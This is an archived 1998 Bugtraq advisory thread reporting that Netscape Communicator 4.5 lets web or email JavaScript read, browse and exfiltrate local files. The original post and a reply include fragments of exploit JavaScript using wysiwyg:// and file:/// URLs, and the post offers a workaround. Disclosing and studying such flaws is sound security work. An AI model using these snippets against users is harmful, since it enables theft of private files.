[ http://www.rootshell.com/ ] Date: Mon, 23 Nov 1998 10:36:40 PST From: Georgi Guninski Subject: Netscape Communicator 4.5 can read local files There is a bug in Netscape Communicator 4.5 for Windows 95 and 4.05 for WinNT 4.0 (probably others) which allows reading files from the user's computer. It is not necessary the file name to be known, because directories may be browsed. The contents of the file may be sent to an arbitrary host. In order this to work, you need both Java and Javascript enabled. The bug may be exploited by email message. Demonstration is available at: http://www.geocities.com/ResearchTriangle/1711/b6.html Workaround: Disable Javascript or Java. The Javascript code is: sl=window.open("wysiwyg://1/file:///C|/"); sl2=sl.window.open(); sl2.location="javascript:s=' At least it seems it can not *write* to local files, I get a security exception when I try that. ---------------------------------------------------------------- Date: Thu, 26 Nov 1998 17:43:31 +0100 From: Norbert Luckhardt To: BUGTRAQ@netspace.org Subject: Re: Netscape Communicator 4.5 can read local files -----BEGIN PGP SIGNED MESSAGE----- Hi there, At 19:36 23.11.98 , you wrote: >There is a bug in Netscape Communicator 4.5 for Windows 95 and 4.05 for >WinNT 4.0 (probably others) we just tried it on the Mac - surely the script has to be adapted since the mac doesn't use drive letters - so if You don't know the names of the drive you cannot give an absolute path - but it could work with relative paths: sl=window.open("wysiwyg://1/file:////"); those 4 slashes show the directory in which netscape is installed (every extra slash goes one dir up) it is at least possible to get files from that directory with: java.io.File(\"test.txt\") alas I'm not so firm with JavaScript and thus I did not get a working code with the quoting for higher dir levels - earned only JavaScript Errors but I think this is only my personal problem, isn't it?! ;-) have fun, Shalom dann, NOrbert -- Norbert Luckhardt http://www.heise.de/ct/Redaktion/nl/ Redaktion c't Tel.: +49 511 5352 - 300 Fax: +49 511 5352 - 417 Helstorfer Str. 7 D-30625 Hannover BBS: +49 511 5352 - 301